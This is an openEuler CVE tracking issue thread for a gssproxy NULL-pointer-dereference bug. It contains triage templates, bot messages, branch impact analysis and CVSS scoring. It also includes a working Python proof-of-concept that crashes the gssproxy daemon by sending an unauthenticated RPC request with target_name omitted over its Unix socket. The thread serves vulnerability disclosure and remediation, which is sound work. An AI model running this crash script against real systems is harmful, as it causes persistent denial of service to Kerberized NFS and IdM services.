issue处理注意事项:
1. 提交正常修复分支的修复PR时,必须关联当前issue,否则无法关闭当前issue;
2. 模板内容需要填写完整, 无论是受影响或者不受影响都需要填写完整内容;
3. 以下为模板中需要填写完整的内容, 请复制到评论区回复;
注: 内容的关键词(影响性分析说明, openEuler评分, 受影响版本排查(受影响/不受影响), 修复是否涉及abi变化(是/否), 原因说明)不能省略,省略后cve-manager将无法正常解析填写内容.

影响性分析说明:

openEuler评分: (评分和向量)

受影响版本排查(受影响/不受影响):
1.master(0.9.2):
2.openEuler-20.03-LTS-SP4(0.8.3):
3.openEuler-22.03-LTS-SP4(0.9.1):
4.openEuler-24.03-LTS-Next(0.9.2):
5.openEuler-24.03-LTS-SP1(0.9.2):
6.openEuler-24.03-LTS-SP3(0.9.2):
7.openEuler-24.03-LTS-SP4(0.9.2):

修复是否涉及abi变化(是/否)：
1.master(0.9.2):
2.openEuler-20.03-LTS-SP4(0.8.3):
3.openEuler-22.03-LTS-SP4(0.9.1):
4.openEuler-24.03-LTS-Next(0.9.2):
5.openEuler-24.03-LTS-SP1(0.9.2):
6.openEuler-24.03-LTS-SP3(0.9.2):
7.openEuler-24.03-LTS-SP4(0.9.2):

原因说明：
1.master(0.9.2):
2.openEuler-20.03-LTS-SP4(0.8.3):
3.openEuler-22.03-LTS-SP4(0.9.1):
4.openEuler-24.03-LTS-Next(0.9.2):
5.openEuler-24.03-LTS-SP1(0.9.2):
6.openEuler-24.03-LTS-SP3(0.9.2):
7.openEuler-24.03-LTS-SP4(0.9.2):

原因说明填写请参考下方表格(注意：版本是否受影响和版本的原因说明必须对应，例如master版本分支受影响，那原因说明只能是受影响对应的原因之一!)：

issue处理具体操作请参考:
https://atomgit.com/openeuler/cve-manager/blob/master/cve-vulner-manager/doc/md/manual.md
pr关联issue具体操作请参考:
https://docs.atomgit.com/docs/help/home/org_project/pullrequests/pr-related-issue

Welcome To openEuler Community

Hey @openeuler-ci-bot , thanks for your contribution to the community.

Bot Usage Manual

I'm the Bot here serving you. You can find the instructions on how to interact with me at Here . That means you can comment below every pull request or issue to trigger Bot Commands. You can self-configure the PR merge rules for this repository. For more details, please refer to Here.

Contact Guide

If you have any questions, please contact the SIG: Base-service ,
and any of the maintainers: @dillon_chen, @licihua, @overweight, @shenyangyang, @xujing99, @zhujianwei001 ,
and any of the committers: @houmingyong, @jiayi0118, @qq_28851361 .

说明：补丁链接仅供初步排查参考，实际可用性请人工再次确认，补丁下载验证可使用CVE补丁工具。
若补丁不准确，烦请在此issue下评论 '/report-patch 参考网址 补丁链接1,补丁链接2' 反馈正确信息，便于我们不断优化工具，不胜感激。
如 /report-patch https://security-tracker.debian.org/tracker/CVE-2021-3997 https://github.com/systemd/systemd/commit/5b1cf7a9be37e20133c0208005274ce4a5b5c6a1

/branches master /name yixiangzhike1 /email yixiangzhike007@163.com

复现脚本 poc.py

#!/usr/bin/env python3
"""PoC: GSSX_INIT_SEC_CONTEXT with target_name absent -> gssproxy NULL deref."""
import socket
import struct
import sys

FRAGMENT_BIT = 1 << 31


def u32(v):
    return struct.pack(">I", v & 0xFFFFFFFF)


def u64(v):
    return struct.pack(">Q", v)


def opaque(data=b""):
    if not isinstance(data, bytes):
        data = data.encode()
    pad = (4 - len(data) % 4) % 4
    return u32(len(data)) + data + b"\x00" * pad


def opt_ptr(present, body=b""):
    return u32(1) + body if present else u32(0)


def build_call(xid=0x12345678, proc=8):
    msg = u32(xid) + u32(0)  # xid, GP_RPC_CALL
    # gp_rpc_call_header
    msg += u32(2)          # rpcvers
    msg += u32(400112)     # prog GSSPROXY
    msg += u32(1)          # vers GSSPROXYVERS
    msg += u32(proc)       # GSSX_INIT_SEC_CONTEXT
    msg += u32(0) + opaque()  # cred: AUTH_NONE, empty
    msg += u32(0) + opaque()  # verf: AUTH_NONE, empty

    # gssx_arg_init_sec_context
    # call_ctx
    msg += opaque()        # locale utf8string
    msg += opaque()        # server_ctx octet_string
    msg += u32(0)          # options array
    msg += u32(0)          # context_handle pointer absent
    msg += u32(0)          # cred_handle pointer absent
    msg += u32(0)          # target_name pointer ABSENT (the bug)
    msg += opaque()        # mech_type OID
    msg += u64(0)          # req_flags
    msg += u64(0)          # time_req
    msg += u32(0)          # input_cb pointer absent
    msg += u32(0)          # input_token pointer absent
    msg += u32(0)          # options array
    return msg


def main():
    path = sys.argv[1] if len(sys.argv) > 1 else "/tmp/gptest/gp.sock"
    payload = build_call()
    record = u32(len(payload) | FRAGMENT_BIT) + payload
    s = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM)
    s.settimeout(5)
    s.connect(path)
    s.sendall(record)
    try:
        data = s.recv(65536)
        print("reply bytes:", len(data))
    except socket.timeout:
        print("no reply (daemon likely crashed)")
    s.close()


if __name__ == "__main__":
    main()

补充 openEuler-26.09 排查结论（模板未列 26.09 行）：

影响性分析说明：
26.09 为 gssproxy 0.9.2-9（Patch1-8 均与此漏洞无关，均为 keytab/cred/资源管理类回移）。代码核验（上游 v0.9.2 tag，src/gp_rpc_init_sec_context.c:68）：gp_conv_gssx_to_name(&ret_min, isca->target_name, &target_name) 在未校验 isca->target_name 是否为 NULL 的情况下调用；rpcgen/gss_proxy.h 中 gssx_name *target_name 为 XDR 可选指针字段，GSSX_INIT_SEC_CONTEXT 请求中该字段 absent 时解码结果为 NULL；src/gp_conv.c:458 gp_conv_gssx_to_name() 内 in->display_name.octet_string_len 直接解引用 NULL 指针。因此本地任意用户可经 Unix domain socket（AUTH_NONE，无需认证）发送 target_name 缺失的 GSSX_INIT_SEC_CONTEXT 使 gssproxy 守护进程崩溃，且 systemd 不自动重启，造成持久 DoS 并影响依赖的 Kerberized NFS/IdM 服务。26.09 受影响。

修复状态：暂不修复-暂无解决方案或补丁。
上游 gssapi/gssproxy 至今无修复 commit（v0.9.3 发布于 2026-10-22，早于 CVE 公开时间 2026-10-26，其后 master 仅 keytab_loader 等功能提交）也无 open PR；issue 补丁信息栏为空。待上游发布修复后 26.09 与各受影响分支再评估回移。

openEuler评分：无 NVD CVSS 评分（评分栏 N/A）；参考评估为本地低危 DoS（AV:L/PR:L 或本地 socket 可达）。与其他分支结论保持一致。

受影响版本排查：

• openEuler-26.09（0.9.2-9）：受影响

修复是否涉及abi变化：

• openEuler-26.09（0.9.2-9）：否（修复为 gp_rpc_init_sec_context.c 入口处对 target_name 缺失的 NULL 检查与错误返回，不涉及导出接口）。

原因说明：

• openEuler-26.09（0.9.2-9）：受影响-暂不修复-暂无解决方案或补丁（上游无修复，见上）。

经过cve-manager解析，部分字段填写错误，如红色字体所示：

影响性分析说明:
26.09 为 gssproxy 0.9.2-9（Patch1-8 均与此漏洞无关，均为 keytab/cred/资源管理类回移）。代码核验（上游 v0.9.2 tag，src/gp_rpc_init...

openEuler评分: (评分和向量)
(CVSS评分和矢量值不一致，请修改至矢量值和CVSS评分一致！)

受影响版本排查(受影响/不受影响):
1.master:(请填写此字段)
2.openEuler-20.03-LTS-SP4:(请填写此字段)
3.openEuler-22.03-LTS-SP4:(请填写此字段)
4.openEuler-24.03-LTS-Next:(请填写此字段)
5.openEuler-24.03-LTS-SP1:(请填写此字段)
6.openEuler-24.03-LTS-SP3:(请填写此字段)
7.openEuler-24.03-LTS-SP4:(请填写此字段)

修复是否涉及abi变化(是/否)：
1.master:(请填写此字段)
2.openEuler-20.03-LTS-SP4:(请填写此字段)
3.openEuler-22.03-LTS-SP4:(请填写此字段)
4.openEuler-24.03-LTS-Next:(请填写此字段)
5.openEuler-24.03-LTS-SP1:(请填写此字段)
6.openEuler-24.03-LTS-SP3:(请填写此字段)
7.openEuler-24.03-LTS-SP4:(请填写此字段)

原因说明：
1.master:(请填写此字段)
2.openEuler-20.03-LTS-SP4:(请填写此字段)
3.openEuler-22.03-LTS-SP4:(请填写此字段)
4.openEuler-24.03-LTS-Next:(请填写此字段)
5.openEuler-24.03-LTS-SP1:(请填写此字段)
6.openEuler-24.03-LTS-SP3:(请填写此字段)
7.openEuler-24.03-LTS-SP4:(请填写此字段)

影响性分析说明:A NULL pointer dereference vulnerability was found in gssproxy. When a GSSX_INIT_SEC_CONTEXT request is received with the target_name field absent, the daemon dereferences the resulting NULL pointer and crashes. The request requires no authentication, allowing any local user to crash the gssproxy daemon via its Unix socket. The daemon does not automatically restart, resulting in a persistent denial of service that also affects dependent services such as Kerberized NFS and IdM.

openEuler评分: 5.5 CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

受影响版本排查(受影响/不受影响):
1.master(0.9.2):受影响
2.openEuler-20.03-LTS-SP4(0.8.3):受影响
3.openEuler-22.03-LTS-SP4(0.9.1):受影响
4.openEuler-24.03-LTS-Next(0.9.2):受影响
5.openEuler-24.03-LTS-SP1(0.9.2):受影响
6.openEuler-24.03-LTS-SP3(0.9.2):受影响
7.openEuler-24.03-LTS-SP4(0.9.2):受影响

修复是否涉及abi变化(是/否)：
1.master(0.9.2):否
2.openEuler-20.03-LTS-SP4(0.8.3):否
3.openEuler-22.03-LTS-SP4(0.9.1):否
4.openEuler-24.03-LTS-Next(0.9.2):否
5.openEuler-24.03-LTS-SP1(0.9.2):否
6.openEuler-24.03-LTS-SP3(0.9.2):否
7.openEuler-24.03-LTS-SP4(0.9.2):否

原因说明：
1.master(0.9.2):正常修复
2.openEuler-20.03-LTS-SP4(0.8.3):正常修复
3.openEuler-22.03-LTS-SP4(0.9.1):正常修复
4.openEuler-24.03-LTS-Next(0.9.2):正常修复
5.openEuler-24.03-LTS-SP1(0.9.2):正常修复
6.openEuler-24.03-LTS-SP3(0.9.2):正常修复
7.openEuler-24.03-LTS-SP4(0.9.2):正常修复

@openeuler-ci-bot 经过 cve-manager 解析, 已分析的内容如下表所示:

请确认分析内容的准确性, 确认无误后, 您可以进行后续步骤, 否则您可以继续分析.

经过cve-manager解析，部分分支PR未合入，如红色字体所示：

原因说明：
1.master:正常修复(PR未合入)
2.openEuler-20.03-LTS-SP4:正常修复(PR未合入)
3.openEuler-22.03-LTS-SP4:正常修复(PR未合入)
4.openEuler-24.03-LTS-Next:正常修复(PR未合入)
5.openEuler-24.03-LTS-SP1:正常修复(PR未合入)
6.openEuler-24.03-LTS-SP3:正常修复(PR未合入)
7.openEuler-24.03-LTS-SP4:正常修复(PR未合入)

经过cve-manager解析，所有PR均已合入